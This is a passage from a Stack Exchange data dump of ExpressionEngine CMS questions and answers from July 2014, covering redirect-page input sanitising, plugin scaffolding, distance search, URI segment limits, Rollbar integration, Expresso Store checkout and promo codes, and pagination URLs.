security-wise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this sufficient security or are there additional/better methods I can employ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(PHP is enabled on input)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php&#xA;&#xA;       $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $seg3 = $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(3);&#xA;        $entry_id_clean = ee()-&amp;gt;security-&amp;gt;xss_clean($seg3);&#xA;        $entry_id = ee()-&amp;gt;db-&amp;gt;escape_str($entry_id_clean);&#xA;        $query = ee()-&amp;gt;db-&amp;gt;select('channel_id, url_title')&#xA;            -&amp;gt;from('exp_channel_titles')&#xA;            -&amp;gt;where(array(&#xA;                    'entry_id' =&amp;gt; $entry_id,&#xA;            ))&#xA;            -&amp;gt;limit(1)&#xA;            -&amp;gt;get();&#xA;&#xA;        $title = $query-&amp;gt;row('url_title');&#xA;        $channel = $query-&amp;gt;row('channel_id');&#xA;&#xA;        // Redirect to the correct page...&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="291" LastActivityDate="2014-07-08T01:52:04.590" Title="Security on a redirect page for a short URL service" Tags="|redirects|security|segments|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24239" PostTypeId="1" AcceptedAnswerId="24245" CreationDate="2014-07-08T00:49:36.723" Score="2" ViewCount="63" Body="&lt;p&gt;We are building a membership site that uses SafeCracker Registration so that Member data can leverage Channels. In the Member associated Channel, it has a latitude and longitude field that's always populated with the Member's geocoded location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Low Search, is there a way to apply the Haversine formula to compute the distance between the lat/lng of the logged in member (guests will not have lat/lng) and the lat/lng of the other members and sort by that? Perhaps something like passing a callback function to compute distance to the orderby parameter???&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-07-08T08:11:23.530" Title="Low Search + SafeCracker Registration: How To Sort By Distance?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24240" PostTypeId="2" ParentId="24238" CreationDate="2014-07-08T01:52:04.590" Score="2" Body="&lt;p&gt;The only thing i see from a security standpoint is EllisLab considers php in template a bad practice. If this where me I would create a small plugin that would render your PHP for you. and pass the segment through a parameter. That would then redirect the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a plugin you can use my plugin starterkit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Create a folder with lowercase plugin name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Create file called pi.pluginname.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) Paste the following code in that file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/**&#xA; * Pluginname Class&#xA;&#xA; * @package         ExpressionEngine&#xA; * @category        Plugin&#xA; * @author          Matthew Johnson&#xA; * @copyright       Copyright (c) 2010, Jane Doe&#xA; * @link            http://midwesterninteractive.com/&#xA; */&#xA;&#xA;$plugin_info = array(&#xA;    'pi_name'         =&amp;gt; 'Pluginname',&#xA;    'pi_version'      =&amp;gt; '1.0',&#xA;    'pi_author'       =&amp;gt; 'Matthew Johnson',&#xA;    'pi_author_url'   =&amp;gt; 'http://MidwesternInteractive.com/',&#xA;    'pi_description'  =&amp;gt; 'Allows you to generate 1 of 13. ',&#xA;    'pi_usage'        =&amp;gt; PluginName::usage()&#xA;);&#xA;&#xA;class Pluginname&#xA;{&#xA;&#xA;    public $return_data = &quot;&quot;;&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Pluginname&#xA;     *&#xA;     * Plugin Description&#xA;     *&#xA;     * @access  public&#xA;     * @return  string&#xA;     */&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();   &#xA;&#xA;        /* Your Code For you Plugin Here &#xA;        --------------------------------&#xA;        $entry_idParam = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('eid');&#xA;        --------------------------------&#xA;        */&#xA;&#xA;&#xA;&#xA;    }&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Usage&#xA;     *&#xA;     * This function describes how the plugin is used.&#xA;     *&#xA;     * @access  public&#xA;     * @return  string&#xA;     */&#xA;    public static function usage()&#xA;    {&#xA;        ob_start();  ?&amp;gt;&#xA;&#xA;        @mattsidjohn&#xA;        @buildmidwestern&#xA;        http://midwesterninteractive.com&#xA;&#xA;&#xA;    &amp;lt;?php&#xA;        $buffer = ob_get_contents();&#xA;        ob_end_clean();&#xA;&#xA;        return $buffer;&#xA;    }&#xA;    // END&#xA;}&#xA;/* End of file pi.pluginname.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use your plugin you will place this in your template {exp:pluginname eid=&quot;{segment_3&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) Then place the plugin folder in the system &gt; expressionengine &gt; third_party  folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reference the plugin docs here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/plugins.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-08T01:52:04.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24241" PostTypeId="2" ParentId="24229" CreationDate="2014-07-08T02:25:41.527" Score="1" Body="&lt;p&gt;IF the channels share the same custom field group you should be able to use a bit of SQL to check for a specific channel_id and convert it to the channel_id you are keeping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the channels do not share the same custom field groups you will need to export the data. This can be as simple as creating a template and setting it to XML, or using one of the export add-ons to export the relevant data. From there you would have to use Datagrab or Solspace importer to import the data back into EE. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-08T02:25:41.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24242" PostTypeId="2" ParentId="24163" CreationDate="2014-07-08T02:45:20.800" Score="1" Body="&lt;p&gt;After some testing, both the Super Search and the native EE Simple Search form had the issue. Here is the explanation and solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your channel preferences indeed had a custom field set as your excerpt field, but this setting was likely not registered in the database. Re-saving the channel preferences should save the excerpt value in the EE database, and excerpts should appear in your results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this for each channel that might be causing issues.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-08T02:45:20.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24243" PostTypeId="2" ParentId="24229" CreationDate="2014-07-08T03:05:06.990" Score="0" Body="&lt;p&gt;If it where me I would use this addon to export your data from the old channel into a csv.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/ajw-export&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ajw-export&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use this addon to import that csv into the new channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/datagrab&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-08T03:05:06.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24244" PostTypeId="1" CreationDate="2014-07-08T06:55:46.623" Score="1" ViewCount="59" Body="&lt;p&gt;We've set up a blogging solution for a client that uses channel forms with all the necessary fields, including an Assets field for image upload. Nothing out of the ordinary. The template is as light as you can get it, only a form and form fields. But with an Assets field as well. The client says that the solution downloads 7-11MB while it's uploading 2-3MB. Thus, making it too expensive for them to use. So they insist of using the poorly functional moblog feature instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find it hard to believe that the channel form would download that much data, even more than what is uploaded! I have made data traffic measurements myself, and it shows only 1MB downloaded while 3MB was uploaded. Which is what you would assume. These measurements are pretty consistant. This particular image was taken from an iPhone, with no extra compression. I made that measurement while being on 3G as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, what could be causing huge amounts of download traffic? The channel form is just a plain form, while the Assets do have small thumbnails showing, but that wouldn't produce that much data traffic?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastEditorUserId="2111" LastEditDate="2014-07-09T14:00:02.703" LastActivityDate="2014-07-09T14:00:02.703" Title="Channel forms - Is it possible that channel form with assets field downloads lots of data?" Tags="|assets|safecracker|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24245" PostTypeId="2" ParentId="24239" CreationDate="2014-07-08T08:11:23.530" Score="4" Body="&lt;p&gt;Should be possible using &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#distance&quot; rel=&quot;nofollow&quot;&gt;Low Search's Distance filter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a search form, add a hidden input field that contains the lat/long values of the logged in member, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;distance:from&quot; value=&quot;{cf_member_lat}|{cf_member_long}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...making sure the values are replaced with their actual numerical values. Then, set the &lt;code&gt;distance:to&lt;/code&gt; parameter, targeting the same custom fields, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;distance:to&quot; value=&quot;cf_member_lat|cf_member_long&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the absence of the curly brackets, since we're targeting the fields themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Submitting the form should now give you entries ordered by distance, which you can output using the &lt;code&gt;{low_search_distance}&lt;/code&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-07-08T08:11:23.530" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24248" PostTypeId="1" AcceptedAnswerId="24249" CreationDate="2014-07-08T09:31:56.680" Score="0" ViewCount="168" Body="&lt;p&gt;Does anyone know of a predefined way to increase the number of URI segments ExpressionEngine allows before it throws an error. This is currently set to 10 and I'm sure I could hack the core to achieve this but I thought there may be another way (config setting, extension, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1676" LastActivityDate="2014-07-08T14:53:42.897" Title="I need more than 10 segments" Tags="|segments|navigation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24249" PostTypeId="2" ParentId="24248" CreationDate="2014-07-08T09:34:50.933" Score="2" Body="&lt;p&gt;As far as I know this flatly can't be done without hacking the core and even then it's possible that third-party functionality (and even base functionality) might break. Maybe explain your issue a little more -- there might be a way to accomplish your goal WITHOUT the need for extra segments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited to add:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can TRY the following, it &lt;em&gt;should&lt;/em&gt; work for base EE functionality but I &lt;em&gt;cannot&lt;/em&gt; guarantee how it will interact with anything third-party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file &lt;code&gt;/system/expressionenine/core/EE_URI.php&lt;/code&gt;, on or around line 133 (depending on the version of EE), find the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (count($segs) &amp;gt; 9)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and change 9 to some other number, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (count($segs) &amp;gt; 25)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="139" LastEditorUserId="139" LastEditDate="2014-07-08T14:53:42.897" LastActivityDate="2014-07-08T14:53:42.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24250" PostTypeId="1" CreationDate="2014-07-08T09:38:35.887" Score="2" ViewCount="239" Body="&lt;p&gt;I'm talking about &lt;a href=&quot;https://rollbar.com/&quot; rel=&quot;nofollow&quot; title=&quot;rollbar.com&quot;&gt;http://rollbar.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Rollbar collects and analyzes errors on web and mobile apps so you can&#xA;  find and fix them faster.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What would be the best approach to get this working?&#xA;Is it possible to hook into the EE logging itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to log things like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;404 pages&lt;/li&gt;&#xA;&lt;li&gt;errors while sending mail (freeform)&lt;/li&gt;&#xA;&lt;li&gt;module/plugin php errors (what super-admin's get to see)&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="419" LastActivityDate="2017-02-23T15:15:09.210" Title="How to implement rollbar into a expressionengine setup?" Tags="|php-errors|bestpractice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24251" PostTypeId="2" ParentId="24248" CreationDate="2014-07-08T09:47:43.970" Score="0" Body="&lt;p&gt;Have you tried achieving this with &lt;a href=&quot;http://buildwithstructure.com/&quot; rel=&quot;nofollow&quot;&gt;EE structure&lt;/a&gt;? As far as I know there isn't a limitation in structure. If there is, please let me know!&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2014-07-08T09:47:43.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24253" PostTypeId="1" CreationDate="2014-07-08T11:58:29.690" Score="3" ViewCount="198" Body="&lt;p&gt;Each time a template is loaded in ExpressionEngine is goes through a couple of member related tasks (as far as I can see):-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this user in a blacklist? &lt;code&gt;Addons_model::module_installed()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Grab the current session data &lt;code&gt;EE_Session::fetch_session_data()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Get the information about the current member &lt;code&gt;EE_Session::_do_member_query()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Update the session information with this new visit &lt;code&gt;EE_Session::update_session()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Fetch the CSRF token &lt;code&gt;Csrf_database::fetch_token()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I found the above behaviour in the output, so perhaps they don't even run the above processes for the normal guest user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But assuming a couple or all of them do - it seems quite heavy handed for a site that doesn't require memberships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to disable this?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2015-03-30T21:15:48.120" Title="Can you completely disable members on the frontend?" Tags="|members|performance|optimization|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24254" PostTypeId="1" AcceptedAnswerId="24255" CreationDate="2014-07-08T12:48:39.820" Score="0" ViewCount="125" Body="&lt;p&gt;Client wants the check out pages to automatically populate the shipping\billing details if they're a member and have already done it before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Expresso have any sort of functionality to accommodate this?&lt;/p&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2015-07-26T13:47:17.837" Title="Expresso Store: If member, fill in blank shipping\billing details automatically?" Tags="|expresso-store|fields|checkout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24255" PostTypeId="2" ParentId="24254" CreationDate="2014-07-08T14:23:32.460" Score="0" Body="&lt;p&gt;Store does have the ability to pre-populate the checkout fields. Basically you either need to create custom member fields or if you are using Zoo Visitor you would need to create custom channel fields that will hold the users address details. Once you have done that you will need to go Store &gt; Settings &gt; Order Fields and map the form input fields to the custom fields that you have just created as seen in the picture below. (&lt;a href=&quot;https://exp-resso.com/docs/settings_order_fields.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docs Link&lt;/a&gt;) &lt;img src=&quot;https://i.stack.imgur.com/CHQWs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have done that in your template you have 2 options in your template to pre-populate the fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA; &amp;lt;label for=&quot;billing_first_name&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA; {field:billing_first_name}&#xA;{/ezp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA; &amp;lt;label for=&quot;billing_first_name&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA; &amp;lt;input type=&quot;text&quot; name=&quot;billing_first_name&quot; value=&quot;{billing_first_name} class=&quot;input&quot; /&amp;gt;&#xA;{/ezp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Documentation on the checkout fields can be found &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#billing_details&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-08T14:23:32.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24256" PostTypeId="2" ParentId="24250" CreationDate="2014-07-08T14:38:48.080" Score="1" Body="&lt;p&gt;First you would need to to decide which integration method you would like to use probably either PHP, API or JS. With the data you want to collect you would probably be best to use the PHP or API integrations (&lt;a href=&quot;https://rollbar.com/docs/notifier/rollbar-php/&quot; rel=&quot;nofollow&quot;&gt;PHP link&lt;/a&gt; or &lt;a href=&quot;https://rollbar.com/docs/api_overview/&quot; rel=&quot;nofollow&quot;&gt;API link&lt;/a&gt;). From there you have a few options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Write an extension (my recommendation)&lt;/li&gt;&#xA;&lt;li&gt;Modify the index.php file to include the PHP script on every page load.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;EE's Add-on Developer Docs&lt;/a&gt; should get you started in the right direction on creating an extension.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-08T14:38:48.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24257" PostTypeId="1" CreationDate="2014-07-08T15:13:29.733" Score="2" ViewCount="76" Body="&lt;p&gt;I am almost done with this site, but the client has a number of requests that I don't really know how to address within this specific plugin. Most of the issues involve the form fields. Since you guys don't actually have HTML form fields in the template code, it makes it a bit difficult to apply normal parameters that would normally take care of these issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found the answer to my questions elsewhere in stack exchange, so I'll ask here…&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;As you know, when logged in, the checkout form changes, to no longer contain the username/password registration fields.  However, it does have them refill in their contact info, and when the user uses their registered email it says that &quot;that email is not available&quot; - meaning it's still running the email validation check as though they are registering.  Meaning a customer making a subsequent purchase would need to use a new email every time. Is there some parameter I'm not seeing?  We do want people to put in their email for the order, and it is autofilling that, if they're a registered, logged in member, but how can I stop it from requiring a new email and running that registration?  Seems like a bug.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For new users, the client wants the customers to use their email address as their username (for ease of remembering it later).  Is there some way to have the field capture its contents from the email address entered above, when they tab to that field?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there some way to add a mask to fields like phone number - (000) 000-0000, and zip code?  You guys don't use regular HTML form fields in your template code, so it's not really as simple as adding the mask to the form field parameters.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Brooke &lt;/p&gt;&#xA;" OwnerUserId="2307" LastEditorUserId="2307" LastEditDate="2014-07-08T16:38:37.583" LastActivityDate="2014-07-08T16:58:36.790" Title="Number of questions about Expresso Store" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24259" PostTypeId="1" AcceptedAnswerId="24261" CreationDate="2014-07-08T16:42:47.700" Score="0" ViewCount="180" Body="&lt;p&gt;I'm using expreso store 1.6.4 , I'm setting up some promo codes and just wanted to clear something up.  I understand that if I set the Per User Limit, they must be logged in to use the code.  As this site does not use memberships, I've left that blank so logged out users can use it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct in thinking then, that there is no use limit on the codes if the person is logged out?  That they can use the code as often as they'd like and there is no way to prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-07-08T17:14:06.777" Title="Expresso Store - Promo Codes" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24260" PostTypeId="2" ParentId="24257" CreationDate="2014-07-08T16:58:36.790" Score="2" Body="&lt;p&gt;You can use normal input fields instead of using the &lt;code&gt;{field:billing_name}&lt;/code&gt; convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your checkout template you can do something along the lines of.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA; &amp;lt;label for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;{!-- &#xA; -- You can add any additional parameters to the input that you need. &#xA; -- Having a value=&quot;{field_name}&quot; will pre-populate that field &#xA; -- name if the user is logged in and has data stored.&#xA; -- The name parameter should be the field name. &#xA;--}&#xA; &amp;lt;input type=&quot;text&quot; value=&quot;{billing_name}&quot; name=&quot;billing_name&quot; /&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should allow you to sort out issues 3 &amp;amp; 4. (More details in the &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#billing_details&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) I usually use a logged in conditional in my templates to handle showing the register member checkbox field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA; &amp;lt;input type=&quot;email&quot; name=&quot;order_email&quot; value=&quot;{order_email}&quot; /&amp;gt;&#xA;{if logged_out}&#xA;{field:register_member} &amp;lt;label for=&quot;register_member&quot;&amp;gt;Register Member Account?&amp;lt;/label&amp;gt;&#xA; &amp;lt;div class=&quot;toggle&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;    {field:password}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;    {field:password_confirm}&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.)  When you are registering a member Store will use the &lt;code&gt;order_email&lt;/code&gt; address to create a new member. If you have &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;screen_name&lt;/code&gt; fields in your template Store will use that information, if you don't have it Store will use the &lt;code&gt;order_email&lt;/code&gt; field for the users email address, username and screen name.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-08T16:58:36.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24261" PostTypeId="2" ParentId="24259" CreationDate="2014-07-08T17:14:06.777" Score="2" Body="&lt;p&gt;If the site is not using members then you are correct there is nothing built in that would prevent users from using the same promo code multiple times. From the &lt;a href=&quot;https://exp-resso.com/docs/v1/settings_promo_codes.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Limit Per User&lt;/strong&gt;: Limit the number of times this promo code can be used by each member. NOTE: If you enable this option, customers&#xA;  must be logged in before they will be able to use the promo code&#xA;  (otherwise there would be no way to tell which customers have already&#xA;  used the code).&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Total Use Limit&lt;/strong&gt;: Limit the total number of times this promo code can be used.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could set the total use limit to 1 and generate multiple promo codes that would be sent to each user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option you have would be to enable membership functionality on the site so that you can use the functionality of Limit Per User w/ promo codes. This also has the added benefit of storing the users billing/shipping details but not CC details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also if you are comfortable with PHP write your own extension to check the orders table in the database with the submitted email address to see if that email has used a promo code in the past. (&lt;a href=&quot;https://exp-resso.com/docs/v1/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;Extension Hook Documentation&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-08T17:14:06.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24262" PostTypeId="1" AcceptedAnswerId="24264" CreationDate="2014-07-08T17:56:10.070" Score="2" ViewCount="345" Body="&lt;p&gt;How can you control the pagination URL and change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/blog/P#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/blog/page-#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;? Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3331" LastActivityDate="2014-07-08T20:20:23.033" Title="How can you control the pagination URL?" Tags="|pagination|config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24263" PostTypeId="2" ParentId="22330" CreationDate="2014-07-08T18:34:02.047" Score="0" Body="&lt;p&gt;As Solspace commented, it turns out there was a bug with Solspace Freeform itself. Updating to the latest version of Freeform (4.1.8 as of the date I updated it) has fixed the problem. Thanks Solspace.&lt;/p&gt;&#xA;" OwnerUserId="285" LastActivityDate="2014-07-08T18:34:02.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24264" PostTypeId="2" ParentId="24262" CreationDate="2014-07-08T20:20:23.033" Score="1" Body="&lt;p&gt;There is nothing built into the EE core that would allow you to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a few options though. The easiest would be to use something like &lt;a href=&quot;http://devot-ee.com/add-ons/better-pagination&quot; rel=&quot;nofollow&quot;&gt;Better Pagination&lt;/a&gt; which will allow you to setup different Pagination URLS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to build the url you want and use some template logic to grab the correct URL.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-08T20:20:23.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24265" PostTypeId="1" CreationDate="2014-07-08T20:31:49.273" Score="0" ViewCount="130" Body="&lt;p&gt;I've read a few tutorials on how to use blog categories in conjunction with Structure. Is there a way to do this without Structure? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never used categories before. Any thoughts on displaying results for categories? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically do the following for displaying entries... Something similar for categories? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;blog_entry|blog_link|blog_photo|blog_quote|blog_video&quot; search:title_permalink=&quot;{segment_2}&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-07-11T01:58:27.740" Title="Blog categories without having to use Structure?" Tags="|channel-entries|categories|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
